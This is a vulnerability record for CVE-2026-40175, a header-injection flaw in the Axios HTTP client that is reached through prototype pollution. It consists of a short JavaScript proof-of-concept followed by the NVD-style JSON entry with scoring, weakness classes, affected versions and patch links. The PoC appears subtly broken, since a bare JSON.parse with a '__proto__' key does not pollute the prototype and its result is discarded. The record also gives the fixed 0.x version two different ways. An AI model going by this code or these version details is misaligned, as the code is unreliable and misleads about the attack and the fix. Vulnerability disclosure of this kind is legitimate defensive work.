CVE-2026-40175

// Prototype pollution simulation to inject headers // Step 1: Pollute the prototype (simulating a third-party vuln) JSON.parse('{"__proto__": {"x-malicious-header": "hacked_by_attacker"}}'); // Step 2: Use Axios to send a request const axios = require('axios'); // In vulnerable versions, the polluted property is treated as a header axios.get('https://httpbin.org/headers') .then(response => { console.log('Response:', response.data); // The outgoing request to httpbin.org will contain: // x-malicious-header: hacked_by_attacker }) .catch(error => { console.error('Error:', error); });

{"cve": {"id": "CVE-2026-40175", "sourceIdentifier": "[email protected]", "published": "2026-04-10T20:16:22.800", "lastModified": "2026-05-20T02:16:35.730", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-444"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.0", "matchCriteriaId": "E420AFD0-4C1B-4C44-A578-D6B90BF40F08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.0", "matchCriteriaId": "E0DF6CEE-CC97-4C5F-A81B-6F1A6D77D4CC"}]}]}], "references": [{"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/pull/10660", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/axios/axios/pull/10688", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/releases/tag/v0.31.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/axios/axios/releases/tag/v1.15.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}